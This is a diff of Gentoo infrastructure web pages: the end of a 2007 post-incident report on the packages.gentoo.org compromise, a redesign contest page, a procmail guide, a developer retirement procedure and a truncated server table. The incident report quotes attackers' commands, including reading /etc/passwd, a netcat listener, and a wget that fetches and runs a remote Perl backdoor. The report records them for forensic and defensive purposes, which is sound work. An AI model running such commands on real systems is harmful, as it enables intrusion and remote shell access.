+    <li>
+        scripts - Gentoo Script Repository (GLEP15), defunct.
+    </li>
+    <li>
+        kiss - Kernel Advisory Management tool, defunct.
+    </li>
+    <li>
+        stats - Gentoo Statistics project, defunct.
+    </li>
+    <li>
+        survey  - Gentoo User Survey, defunct.
+    </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Raw data</title>
+<section>
+<body>
+
+<p>
+Log of all usages of the exploit: <uri link="apache-log-extract.txt">apache-log-extract.txt</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Timeline overview</title>
+<section>
+<title>August 1, 2007</title>
+<body>
+
+<ol>
+    <li>
+        The first user to discover/use the exploit was from 65.81.XXX.XXX, at
+      01/Aug/2007 15h56 UTC. He ran <c>uname -a</c> and <c>cat /etc/passwd</c>,
+      then stops, his IP is not seen again.
+  </li>
+  <li>
+      At 19h36 UTC, the exploit becomes known to a wider group. Either this or
+      the initial discovery took place at DEFCON.
+  </li>
+  <li>
+      The next 15 minutes have 18 further usages of the exploit (two of which
+      bear further examination), after which the usage drops extremely
+      rapidly.
+  </li>
+  <li>
+      There are 7 further attempts on August 1st, the last being at 22h32
+      UTC.
+  </li>
+  <li>
+      Including the initial discovery, 9 unique IP addresses have hit the
+      exploit on the first day, 27 total attempts. 13 of these attempts are
+      <c>cat /etc/passwd</c>. A full breakdown is given at <uri
+          link="commands.txt">commands.txt</uri>
+  </li>
+</ol>
+
+</body>
+</section>
+<section>
+<title>August 6, 2007</title>
+<body>
+
+    <ol>
+        <li>
+            No further attempts to use the exploit are made until 06/Aug/2007 21h10
+            UTC. The IP used did also hit the exploit on the first day. It seems like
+            it is demonstrated to somebody else, because 6 minutes later, somebody
+            uses a near identical URL string (on the seamonkey package) for the
+            exploit.
+        </li>
+        <li>
+            (Assumption: the exploit filters through Gentoo at this point. Nobody
+            else uses it).
+        </li>
+        <li>
+            The Gentoo bug #187971 is opened for the issue on 07/Aug/2007 02h59
+            UTC.
+        </li>
+        <li>
+            At 03h17 one further unknown attempt to use the exploit is made, running
+            <c>df</c>. This may have been a Gentoo developer, based on IRC logs of
+            #gentoo-dev at the time.
+        </li>
+        <li>
+            At 03h20 UTC, Gentoo infra becomes aware of the exploit, and tests it
+            once by running <c>echo EXPLETIVE-DELETED</c>.
+        </li>
+        <li>
+            Apache on the machine is taken offline.
+        </li>
+        <li>
+            Initial data capture of relevant memory contents and volatile machine
+            state.
+        </li>
+        <li>
+            Machine is halted.
+        </li>
+        <li>
+            Approximately 04h10 UTC marineam happens to be on-hand at OSL, and reboots the machine
+            to a livecd. MANY thanks to marineam for this insanely good response
+            time, and here's a plug for the <uri
+                link="http://mike.marineau.org/blog/osl/2007-08-08-osl-beer-fund">OSL
+                Beer fund</uri>
+        </li>
+        <li>
+            kingtaco and robbat2 take an image of the hard drive.
+        </li>
+        <li>
+            The bug now gets left along for the next several days, as the majority of
+            the infra team is attending (and later recovering from) LWE.
+        </li>
+    </ol>
+
+</body>
+</section>
+<section>
+<title>August 13, 2007</title>
+<body>
+
+<ol>
+  <li>Serious analysis on the image begins.</li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Focus on specific attempts</title>
+<section>
+<body>
+
+<p>
+Two of the attempts bear further commenting.
+</p>
+
+<pre caption="Attempt 1">
+nc -l -p 9876
+</pre>
+
+<p>
+This is blocked by the ingress firewall. Default DENY rule wins.
+</p>
+
+<pre caption="Attempt 2">
+wget -O /var/tmp/foo.pl http://www.regimesyndicate.org/interrupt/foo.pl &amp;&amp; perl /var/tmp/foo.pl yourhost listeningport
+</pre>
+
+<p>
+This had potential. If the script kiddy that ran this one (obstensibly from
+24.227.XXX.XXX) actually had even two brain cells to rub together, he could
+have gotten a lot further. Instead, he failed in two ways. Firstly, the
+backdoor he was trying to fetch was already gone. It is available elsewhere
+via Google, and is a trivial perl listener that spawns /bin/sh. Secondly, he
+forgot to specify his outgoing destination host and port. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Summary of exploit usage</title>
+<section>
+<body>
+
+<p>
+While Infra is reasonable certain that no attacker successfully executed more
+than a few harmless commands, the potential remains for the machine to have
+been seriously exploited.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Partially lucking out</title>
+<section>
+<body>
+
+<p>
+Between the time of the first exploit usage, and the exploit becoming known to
+Infra, no Gentoo developer logged in with SSH, nor had a long-running shell
+open. This means that no user could have had their SSH keys compromised if they
+had their SSH agent forwarded to the machine.
+</p>
+
+<p>
+However, this analysis was needlessly complicated by the fact that Gentoo's
+remote logging setup did not seem to be logging all traffic correctly. If it
+had been working correctly, a higher degree of certainty, and more information
+could have been obtained.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Cleanup actions</title>
+<section>
+<body>
+
+<p>
+The following has been undertaken to clean up.
+</p>
+
+<ol>
+    <li>
+        The machine has been wiped for a clean install.
+    </li>
+    <li>
+        Almost all services have been restored.
+    </li>
+    <li>
+        The packages code has had the original issue fixed, but remains offline
+        pending a full audit.
+    </li>
+    <li>
+        All 20 users with local accounts on the machine should change their
+      passwords as a precautionary measure. Any user that had only an LDAP
+      account was not affected.
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>General Recommendations</title>
+<section>
+<body>
+
+<ul>
+    <li>
+        Remote logging of external facing services should be verified
+        regularly.
+    </li>
+    <li>
+        Consider detailed traffic accounting with a package such as IPaudit (leave
+        the GUI out), to aid later analysis.
+    </li>
+    <li>
+        Custom code should be reviewed by the security team before wide usage,
+        esp. on critical machines.
+    </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Thanks to</title>
+<section>
+<body>
+
+<ul>
+    <li>
+        Robin H. Johnson (robbat2) - Doing this analysis and writeup
+    </li>
+    <li>
+        Michael Marineau (marineam) - Rebooting to a livecd.
+    </li>
+    <li>
+        Tavis Ormandy (taviso) - Help in some analysis pointers and extra things to check.
+    </li>
+    <li>
+        David Rude (bannedit0) - (65.196.XXX.XXX in the logs) Reporting the
+        exploit to the Gentoo Bugzilla.
+    </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/redesign-guidelines.xml b/xml/htdocs/proj/en/infrastructure/redesign-guidelines.xml
new file mode 100644
index 00000000..7b24b61d
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/redesign-guidelines.xml
@@ -0,0 +1,322 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage>
+	<title>Gentoo Foundation Web Redesign Contest</title>
+	<author title="Editor">Kurt Lieber</author>
+<version>1.1</version>
+<date>19 September 2004</date>
+<chapter>
+<title>Overview</title>
+<section>
+<body>
+<p>
+We are announcing a public contest to redesign our various web sites, including
+<uri link="http://www.gentoo.org/">www.gentoo.org</uri> <uri
+link="http://forums.gentoo.org/">forums.gentoo.org</uri>, <uri
+link="http://packages.gentoo.org">packages.gentoo.org</uri> and other public
+sites. This contest is open to all interested individuals, companies and
+organizations.  To enter, please submit two PNG images that show the front page
+of www.gentoo.org along with the first page of the Gentoo Handbook.  The
+deadline for these submissions is 2000UTC, July 25th, 2004.  A group of Gentoo
+developers will select the top 5 candidates, which will be posted publicly for
+everyone to review.  The community will then select the final version through a
+voting process.  For complete guidelines, along with the submission address,
+please see our Contest Guidelines
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Finalists</title>
+<section>
+	<body>
+		<p>
+			First of all, our thanks to all of the people who submitted
+			entries.  We received over thirty different designs, and selecting
+			only five was difficult.  Also, our sincere and abject apologies
+			for the delays in announcing the finalists.  Two senior developers
+			both managed to drop the ball, and we apologize to all of the
+			people who have been waiting and wondering about their entries.
+		</p>
+		<p>
+			So, with no further delay, we are happy to announce the following
+			five finalist entries.  Voting to select the winning design now
+			commences on the web site redesign contest 
+			<uri link="http://forums.gentoo.org/viewtopic.php?t=227589">
+				forums page
+			</uri>.  The poll will be open until Friday, 8 Oct. 2004.
+
+		</p>
+		<table>
+			<tr>
+				<th>Entry</th>
+				<th>Front Page</th>
+				<th>Handbook</th>
+			</tr>
+			<tr>
+				<ti>
+					Aaron Shi
+				</ti>
+				<ti>
+						<fig link="http://www.gentoo.org/images/wwwcontest/contest1_front_thmb.png" linkto="http://www.gentoo.org/images/wwwcontest/contest1_front.png"/>
+				</ti>
+				<ti>
+						<fig linkto="http://www.gentoo.org/images/wwwcontest/contest1_handbook.png" link="http://www.gentoo.org/images/wwwcontest/contest1_handbook_thmb.png"/> 
+				</ti>
+			</tr>
+			<tr>
+				<ti>
+					Charles-Andre Landemaine - gencorp
+				</ti>
+				<ti>
+						<fig linkto="http://www.gentoo.org/images/wwwcontest/contest2_front.png" link="http://www.gentoo.org/images/wwwcontest/contest2_front_thmb.png"/>
+				</ti>
+				<ti>
+						<fig linkto="http://www.gentoo.org/images/wwwcontest/contest2_handbook.png" link="http://www.gentoo.org/images/wwwcontest/contest2_handbook_thmb.png"/>
+				</ti>
+			</tr>
+			<tr>
+				<ti>
+					Charles-Andre Landemaine - gentech
+				</ti>
+				<ti>
+						<fig linkto="http://www.gentoo.org/images/wwwcontest/contest3_front.png" link="http://www.gentoo.org/images/wwwcontest/contest3_front_thmb.png"/>
+				</ti>
+				<ti>
+						<fig linkto="http://www.gentoo.org/images/wwwcontest/contest3_handbook.png" link="http://www.gentoo.org/images/wwwcontest/contest3_handbook_thmb.png"/>
+						
+				</ti>
+			</tr>
+			<tr>
+				<ti>
+					Derek Gerstmann
+				</ti>
+				<ti>
+						<fig linkto="http://www.gentoo.org/images/wwwcontest/contest4_front.png" link="http://www.gentoo.org/images/wwwcontest/contest4_front_thmb.png"/>
+				</ti>
+				<ti>
+					No handbook image submitted
+				</ti>
+			</tr>
+			<tr>
+				<ti>
+					Iris on Mirror
+				</ti>
+				<ti>
+						<fig linkto="http://www.gentoo.org/images/wwwcontest/contest5_front.png" link="http://www.gentoo.org/images/wwwcontest/contest5_front_thmb.png"/>
+						
+				</ti>
+				<ti>
+						<fig linkto="http://www.gentoo.org/images/wwwcontest/contest5_handbook.png" link="http://www.gentoo.org/images/wwwcontest/contest5_handbook_thmb.png"/>
+				</ti>
+			</tr>
+		</table>
+	</body>
+</section>
+</chapter>
+<chapter>
+<title>Contest Rules</title>
+<section>
+<body>
+<p>
+Entrants should submit two images in PNG format.  The first image should show
+a full mockup of the front page of www.gentoo.org.  The second image should
+show a full mockup of the first page of the Gentoo Handbook.  <b>These do not
+have to be fully-functional web pages.</b>
+</p>
+<p>
+All designs should take into consideration the existing content available on
+www.gentoo.org and must allocate space for advertisements as well.
+</p>
+<p>
+The final 5 candidates will be chosen based on a number of criteria including:
+</p>
+<ul>
+<li>Overall design -- does it look ugly.</li>
+<li>Navigation -- can people find their way around easily.</li>
+<li>Integration of Advertisements -- Are the advertisements placed prominently, without taking over the entire design of the page.</li>
+<li>Render time -- how long will pages take to load?</li>
+<li>Flexibility and Scalability of design -- can we add new pages and sections easily to allow for future growth.</li>
+<li>Cool factor -- totally subjective interpretation of the submission.  Does it "wow" us.</li>
+</ul>
+<p>
+Designs relying on flash animation or other proprietary formats will be
+penalized heavily.  Your best bet is to stick with open formats.
+</p>
+<p>
+By submitting your design, you are also indicating that you are willing to
+design and create the necessary graphics for our web sites (including <uri
+link="http://forums.gentoo.org">forums.gentoo.org</uri>, <uri
+link="http://packages.gentoo.org">packages.gentoo.org</uri> and all other
+public web sites.)  This is a non-trivial task and will require a great deal of
+time and effort, so please consider this carefully before submitting your entry.
+</p>
+<p>
+The submitter of the winning design will have the opportunity to place a link
+at the bottom of every page that says "Design provided by &lt;your name&gt;" and
+links to a web page of your choosing.  (We reserve the right to change or
+remove the link if it points to objectionable content, such as a porn site).
+The right to display this link is contingent on the submitter actually
+completing the design as described above.
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Submissions</title>
+<section>
+<body>
+<p>
+Submissions should be sent to <uri link="mailto:www-redesign@gentoo.org">www-redesign@gentoo.org</uri> and must be received by 2000UTC, July 25th, 2004.  
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Copyrights</title>
+<section>
+<body>
+<p>
+The submitter will retain all copyrights on any images they submit.  However,
+in order to be selected as one of the final 5 candidates, you must be willing
+to assign your copyright of that particular design to the Gentoo Foundation,
+which is a non-profit group charged with caring for Gentoo Linux.  If your
+design is one of the final 5, but not selected as the winner, then you may
+regain copyright of your design.  (Please remember that the Gentoo logo and
+stylized "G" belong to the Gentoo Foundation and may not be used without our
+written consent.)
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Frequently Asked Questions</title>
+<section>
+<title>Q: Are you going to use {CSS,XHTML,foo}? What about browser compatibility?  Accessibility?</title>
+<body>
+<p>
+The purpose of this contest is only to establish a look and feel for the new site. Things like accessibility, use of CSS, browser compatibility and other programmatic things will be defined later. 
+</p>
+</body>
+</section>
+<section>
+<title>Q: Does the purple have to stay?</title>
+<body>
+<p>
+We try to leave as much creative freedom up to the designer as possible.  That said, many of our users equate Gentoo Linux with purple,
+much in the same way Red Hat tends to be associated with red and SuSE tends to be associated with green.  You're not required
+to use purple, but you will probably have a steeper hill to climb if you abandon it entirely.
+</p>
+</body>
+</section>
+<section>
+<title>Q: Can I submit multiple designs?</title>
+<body>
+<p>
+Yes, but only if they are each unique.  Please <b>do not</b> submit multiple
+variations of a single design, such as different colors.  In that case, pick
+the one you like best and submit it.  People who submit multiple variants of
+the same design will be penalized during the judging.
+</p>
+</body>
+</section>
+<section>
+<title>Q: What do you consider "ugly"?  Isn't that very subjective?</title> 
+<body>
+<p>
+We are seeking a design that is professional, clean and is appealing to a
+large group of people.  We are not seeking "fringe" designs that may be
+considered beautiful by a small subset of people, but are unlikely to be
+appreciated by the bulk of our user base.
+</p>
+<note>Look around at large corporate sites.  Those have all been done by professional graphic designers.</note> 
+<note>Avoid black-on-black, lots of chrome and 8 point fonts.  You may think it's cool.  We don't.</note>
+</body>
+</section>
+<section>
+<title>Q: What do you mean by "Cool factor"?  Isn't that very subjective?</title> 
+<body>
+<p>
+The "Cool factor" is something that is impossible to describe.  It simply
+means that, when we look at a submission and say "wow, that's cool", then
+you've achieved it.  It may be a unique feature of the site or a different way
+of designing things.  It can be anything that you think will cause us to go
+"wow, that's cool".  And yes, it's 100% subjective.
+</p>
+</body>
+</section>
+<section>
+<title>Q: But I need more than two images to show my design!!</title>
+<body>
+<p>
+Please only submit two images, displaying one page each.  Submissions containing more than two images will either be deleted outright or penalized heavily during the judging.
+</p>
+</body>
+</section>
+<section>
+<title>Q: Why not let the community pick from all available entries instead of just 5 that are selected by a group of developers?</title> 
+<body>
+<p>
+We expect the community to pick a site largely based on its look.  We also
+need to consider other factors, such as navigation, integration of ads, etc,
+so we will select the best 5 candidates that meet all of the criteria listed
+above before presenting it to the community.
+</p>
+</body>
+</section>
+<section>
+<title>Q: I'm a Gentoo Developer.  Can I submit a design?</title> 
+<body>
+<p>
+Yes, of course, though you won't be given any special consideraton because of your dev status.
+</p>
+</body>
+</section>
+<section>
+<title>Q: Who owns the copyright to these submissions?</title> 
+<body>
+<p>
+Please see the copyright section.
+</p>
+</body>
+</section>
+<section>
+<title>Q: Why must I give up my copyright?</title> 
+<body>
+<p>
+If we do not own the copyright to the design, then we cannot legally prevent
+other people from using it.  We want the design of our web site to be unique
+to Gentoo Linux.  We have no plans to sell or sub-license the design and even
+if we did, the copyright belongs to the Gentoo Foundation, so any monies
+collected would go directly to the development efforts of Gentoo Linux.
+</p>
+</body>
+</section>
+<section>
+<title>Q: What if you don't get any good submissions?</title> 
+<body>
+<p>
+We will stick with the current design.
+</p>
+</body>
+</section>
+<section>
+<title>Q: Can we see the designs that were rejected after the contest?</title> 
+<body>
+<p>
+We will not own the copyright to any of the rejected designs and thus may not legally display them.  If individual submitters wish to show their own designs on their own sites, they may do so at their own discretion.
+</p>
+</body>
+</section>
+<section>
+<title>Q: I have additional questions that aren't answered here.</title> 
+<body>
+<p>
+Please use <uri link="http://forums.gentoo.org/viewtopic.php?p=1311702">this thread</uri> on the Gentoo Forums for additional questions.
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
+
diff --git a/xml/htdocs/proj/en/infrastructure/reply-to.xml b/xml/htdocs/proj/en/infrastructure/reply-to.xml
new file mode 100644
index 00000000..8f702d37
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/reply-to.xml
@@ -0,0 +1,95 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="reply-to.xml">
+<title>Modifying Reply-To Headers</title>
+
+<author title="Author">
+<mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+This is a simple document to explain to developers how to modify the
+&quot;Reply-To&quot; header field using procmail.
+</abstract>
+
+<license />
+
+<version>1.0</version>
+<date>2007-01-22</date>
+
+<chapter>
+<title>Using procmail</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+This document is written on request of many Gentoo developers to cover how to
+modify the Reply-To header in an email for consistency across all of the Gentoo
+mailing lists. For reasons not mentioned here, there is an inconsistency between
+the <c>gentoo-core</c> private mailing list, and the rest of the Gentoo mailing
+lists.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Removing Reply-To</title>
+<body>
+
+<p>
+Users who have a MUA that supports a Reply-To-List function will likely want to
+remove the munged Reply-To headers. This allows them to use their mail client
+how it was intended, with the Reply button replying to the Author. If your mail
+client has a Reply-To-List function, you can use the following recipe snippet
+in your .procmailrc file to remove the Reply-To headers.
+</p>
+
+<pre caption="Remove Reply-To header">
+# This removes those Reply-To: headers
+:0 fhw
+* ^List-Id:.*gentoo.org.
+| formail -I "Reply-To:"
+</pre>
+
+<p>
+This scans the message headers for any Gentoo list and removes any Reply-To
+header that it finds.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Adding Reply-To</title>
+<body>
+
+<p>
+Some of the most popular mail clients in use do not support a Reply-To-List
+function. This causes problems for the users of these clients and has resulted
+in Reply-To munging being used to reduce complexity for these users. Since
+only the <c>gentoo-core</c> mailing list does not use Reply-To munging, the
+following rule only touches that list.
+</p>
+
+<pre caption="Add Reply-To header">
+# This adds a Reply-To: header
+:0 fhw
+* ^List-Id:.*gentoo-core\.gentoo\.org
+|formail -I "Reply-To: gentoo-core@lists.gentoo.org"
+</pre>
+
+<p>
+This scans for the <c>gentoo-core</c> list and adds a Reply-To header pointing
+to the list.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/retire-process.xml b/xml/htdocs/proj/en/infrastructure/retire-process.xml
new file mode 100644
index 00000000..bf25d18c
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/retire-process.xml
@@ -0,0 +1,337 @@
+<?xml version='1.0' encoding='UTF-8'?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/infrastructure/retire-process.xml,v 1.4 2008/06/29 06:19:17 robbat2 Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/infrastructure/retire-process.xml">
+
+<title>Retirement Process Guide</title>
+
+<author title="Author">
+  <mail link="robbat2@gentoo.org">Robin H. Johnson</mail>
+</author>
+<author title="Author">
+  <mail link="ramereth@gentoo.org">Lance Albertson</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+
+<abstract>
+This guide describes how to retire a developer properly from all of our
+services.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.4</version>
+<date>2008-06-29</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+Our developers use several different services that we need to ensure get taken
+care of when they retire.
+</p>
+
+<p>
+This process officially starts when Developer Relations CCes
+infra-bugs@gentoo.org on the retirement bug and tells us to retire the
+developer. <mail link="robbat2@gentoo.org">robbat2</mail> is the present infra
+retirement processor, but this document is intended to allow other infra staff
+with suitable access to retire as needed.
+</p>
+
+<p>
+You must have access to the following services:
+</p>
+
+<table>
+  <tr>
+    <th>Server</th>
+    <th>Function</th>
+    <th>Access level</th>
+  </tr>
+  <tr>
+    <ti>woodpecker</ti>
+    <ti>dev.gentoo.org</ti>
+    <ti>root</ti>
+  </tr>
+  <tr>
+    <ti>stork</ti>
+    <ti>cvs.gentoo.org</ti>
+    <ti>root</ti>
+  </tr>
+  <tr>
+    <ti>toucan</ti>
+    <ti>ldap1.gentoo.org</ti>
+    <ti>shell access <b>AND</b> infra-ldapadmin.group in LDAP gentooAccess attribute</ti>
+  </tr>
+  <tr>
+    <ti>pigeon</ti>
+    <ti>mail.gentoo.org</ti>
+    <ti>root</ti>
+  </tr>
+  <tr>
+    <ti>kite</ti>
+    <ti>bugs.gentoo.org</ti>
+    <ti>Bugzilla admin</ti>
+  </tr>
+  <tr>
+    <ti>dove</ti>
+    <ti>forums.gentoo.org</ti>
+    <ti>Forums admin</ti>
+  </tr>
+  <tr>
+    <ti>warbler</ti>
+    <ti>planet.gentoo.org</ti>
+    <ti>root or gplanet</ti>
+  </tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Retiring Procedures</title>
+<section>
+<title>Retire from dev.gentoo.org</title>
+<body>
+
+<p>
+The first step is to remove a developer from our shell box. Infrastructure has
+created a shell script that should take care of all the tasks. Login as
+<b>root</b> to dev.gentoo.org and run the following:
+</p>
+
+<pre caption="Removal from dev.gentoo.org">
+# <i>/root/scripts/retire-dev <comment>username</comment></i>
+</pre>
+
+<p>
+This script will do the following:
+</p>
+
+<ul>
+  <li>Remove the user from all local groups</li>
+  <li>Remove the user from all mail aliases</li>
+  <li>
+    If they have a mail forward, copy it to the <path>retired-devs</path> alias
+    directory
+  </li>
+  <li>
+    If they don't have a mail forward, create a mbox that their mail will go to
+    for 30 days in case they need something.
+  </li>
+  <li>Move their home directory to <path>/home/RETIRED/username</path></li>
+  <li>Index the contents of their home directory with permission details</li>
+  <li>Change the ownership of their homedir to <b>root</b></li>
+  <li>Tar up their homedir</li>
+  <li>Remove the homedir while leaving the tarball of homedir</li>
+</ul>
+
+<p>
+Here's what it will look like:
+</p>
+
+<pre caption="Retiring a user on dev.gentoo.org">
+# <i>/root/scripts/retire-dev <comment>username</comment></i>
+Stop all processing belonging to <comment>username</comment>
+Removing <comment>username</comment> from groups (<comment>exp_x86,bsd</comment>) via gpasswd
+Removing <comment>username</comment> from aliases
+  Removing from /var/mail/alias/misc/<comment>net-irc</comment>
+  Removing from /var/mail/alias/misc/<comment>net-mail</comment>
+Forward not found, redirecting mail to /home/RETIRED/mail-backup/<comment>username</comment>.saved
+Moving home directory from /home/<comment>username</comment> to /home/RETIRED/<comment>username</comment>
+Indexing old content of /home/RETIRED/<comment>username</comment>
+Changing ownership to root on /home/RETIRED/<comment>username</comment>/*
+Tar'ing up /home/RETIRED/<comment>username</comment>
+Removing /home/RETIRED/<comment>username</comment>
+
+ ** Remember to run these commands on ldap1: **
+  perl_ldap -b user -E gentooAccess <comment>username</comment>
+  perl_ldap -b user -M gentooStatus retired <comment>username</comment>
+</pre>
+
+<p>
+Since our shell box uses LDAP, actual user deletion will happen on the LDAP
+server. We cannot just lock the user in LDAP, as OpenSSH may still consult the
+authorized_keys file, hence the retiring of the home directory as well.
+</p>
+
+</body>
+</section>
+<section>
+<title>Retire from cvs.gentoo.org</title>
+<body>
+
+<p>
+Retiring a developer from the CVS server works the same way as the shell
+retirement process (stopping proceses, and removing from groups). The only
+difference is that the script only moves the developer's home directory to the
+<path>RETIRED</path> folder. Log into cvs.gentoo.org and run the following:
+</p>
+
+<pre caption="Removal from cvs.gentoo.org">
+# <i>/root/scripts/retire-dev <comment>username</comment></i>
+Moving homedir from /home/<comment>username</comment> to /home/RETIRED/<comment>username</comment>
+Changing ownership to root on /home/RETIRED/<comment>username</comment>/
+</pre>
+
+</body>
+</section>
+<section>
+<title>Retire in LDAP</title>
+<body>
+
+<p>
+In order to remove the user totally from our system, you need to login to our
+primary LDAP server (ldap1.gentoo.org). You cannot retire a developer from any
+other box. <mail link="ramereth@gentoo.org">ramereth</mail> created a script that
+does the following:
+</p>
+
+<ul>
+  <li>Removes any attribute with <c>gentooAccess</c></li>
+  <li>Sets the developer's <c>gentooStatus</c> to <c>retired</c></li>
+  <li>Setting the gentooRetire attribute.</li>
+</ul>
+
+<p>
+Currently, this script resides in a home directory on ldap1.gentoo.org:
+<path>/home/robbat2/scripts/retire-dev-ldap</path>. Copy this script to your
+homedir and use it, or run it directly. This is the second version of the
+script, that detects additional gentooAccess attributes correctly.
+</p>
+
+<pre caption="Retire developer in LDAP">
+$ <i>/home/robbat2/scripts/retire-dev-ldap <comment>username</comment></i>
+Enter LDAP Password:
+replace gentooStatus:
+    retired
+delete gentooAccess:
+    cvs.gentoo.org
+    dev.gentoo.org
+    stork.gentoo.org
+modifying entry "uid=<comment>username</comment>,ou=devs,dc=gentoo,dc=org"
+
+WARNING, extra gentooAccess detected: stork.gentoo.org
+</pre>
+
+</body>
+</section>
+<section>
+<title>Special cases: other machine access</title>
+<body>
+
+<p>
+Now you need to check every other Gentoo machine that the developer previously
+had local-account access to, such as any other *.gentoo.org boxes, or the
+various arch team machines like *.amd64.gentoo.org. You need to disable any
+local accounts that still exist. If the box is connected to LDAP, cleaning up
+the home directory is nice, but not required.
+</p>
+
+<note>
+Infra: do we have a nice retirement script for this? This would of course
+require that we track who has access to which machines better. ;-)
+</note>
+
+
+</body>
+</section>
+<section>
+<title>Retire from mailing lists</title>
+<body>
+
+<impo>
+Retiring developers are responsible for re-subscribing to any lists that they
+are still interested in.
+</impo>
+
+<p>
+Now we need to remove the developer from all our mailing lists so that we don't
+have to deal with extra mail and the bounce to timeout. The following script on
+our mailserver will comb through the lists and remove the email address from
+that list properly. It will check for regular subscribers, digest subscribers
+and nomail subscribers.
+</p>
+
+
+<pre caption="Unsubscribe the email address from all mailing lists">
+# <i>/usr/local/sbin/unsub-global.sh <comment>username</comment>@gentoo.org</i>
+Removing <comment>username</comment>@gentoo.org from gentoo-core
+Removing <comment>username</comment>@gentoo.org from gentoo-dev
+Removing <comment>username</comment>@gentoo.org from gentoo-gwn
+</pre>
+
+</body>
+</section>
+<section>
+<title>Retire Bugzilla account</title>
+<body>
+
+<impo>
+Retiring developers must open a new Bugzilla account with their user email
+address if they wish to continue using Bugzilla. If they are interested in mail
+to the old account, they should explicitly configure watches for every address
+and alias that they are interested in.<br/> The reasoning behind this is
+threefold: allow future searches to find work by a given developer after he has
+retired, without having to know what his email address was renamed to; protect
+old private bugs; preserve the assignee information on old closed bugs.
+</impo>
+
+<p>
+Now we need to retire and disable their Bugzilla account. Please SSH to
+<path>bugs-db1.gentoo.org</path>, sudo up, and run: <b>./retire.sh
+$USERNAME</b>. This automated script performs the following tasks:
+</p>
+
+<ul>
+  <li>
+    Add the disabled text to say: "Retired on 12-08-2005 as per retirement bug
+    #12345." Retiring developers are responsible for creating a new bugzilla
+    account, and configuring watches for all bugzilla accounts that they are
+    interested in.
+  </li>
+  <li>Append <b>(RETIRED)</b> to the real name field</li>
+  <li>Remove them from any Bugzilla groups they may have been added to</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Update forums account</title>
+<body>
+
+<p>
+Contact any forums administrator, or CC their Bugzilla account (<mail
+link="forum-mods@gentoo.org">forum-mods@gentoo.org</mail>) on the bug.
+</p>
+
+</body>
+</section>
+<section>
+<title>Retire from Planet/Universe</title>
+<body>
+
+<p>
+Finally, in order to remove the developer's blog from Gentoo Planet and Gentoo
+Universe, you can either CC <mail
+link="planet.gentoo.org">planet@gentoo.org</mail> on the retirement bug, or
+login to planet.gentoo.org and change
+<path>/var/www/planet.gentoo.org/base/planet/configs/*.ini</path>.
+</p>
+<note>Infra: Contact beandog about automating it better.</note>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/server-specs.xml b/xml/htdocs/proj/en/infrastructure/server-specs.xml
new file mode 100644
index 00000000..4af500fd
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/server-specs.xml
@@ -0,0 +1,576 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="server-specs.xml">
+<title>Gentoo Infrastructure Server Specifications</title>
+<author title="Author">
+   <mail link="klieber">Kurt Lieber</mail>
+</author>
+<author title="Author">
+   <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<author title="Editor">
+  <mail link="ramereth">Lance Albertson</mail>
+</author>
+<abstract>
+This page lists the servers used and supported by the Gentoo Infrastructure project.
+</abstract>
+
+<!-- pending:
+-->
+<version>1.35</version>
+<date>2010-08-23</date>
+<chapter>
+<title>Server Specifications</title>
+<section>
+<body>
+<table>
+	<tr>
+		<th>Server Name<br />(*=native IPv6)</th>
+		<th>Alias</th>
+		<th>Services</th>
+		<th>CPU</th>
+		<th>RAM</th>
+		<th>Disk</th>
+		<th>Owner</th>
+		<th>Physical Location</th>
+		<th>SSH Fingerprints</th>
+	</tr>
+	<!---
+	<tr>
+		<ti>$NAME</ti>
+		<ti></ti>
+		<ti></ti>
+		<ti>$CPU</ti> Number of physical cores
+		<ti>$RAM</ti>
+		<ti>$DISK</ti>
+		<ti>$WHO</ti>
+		<ti>$WHERE</ti>
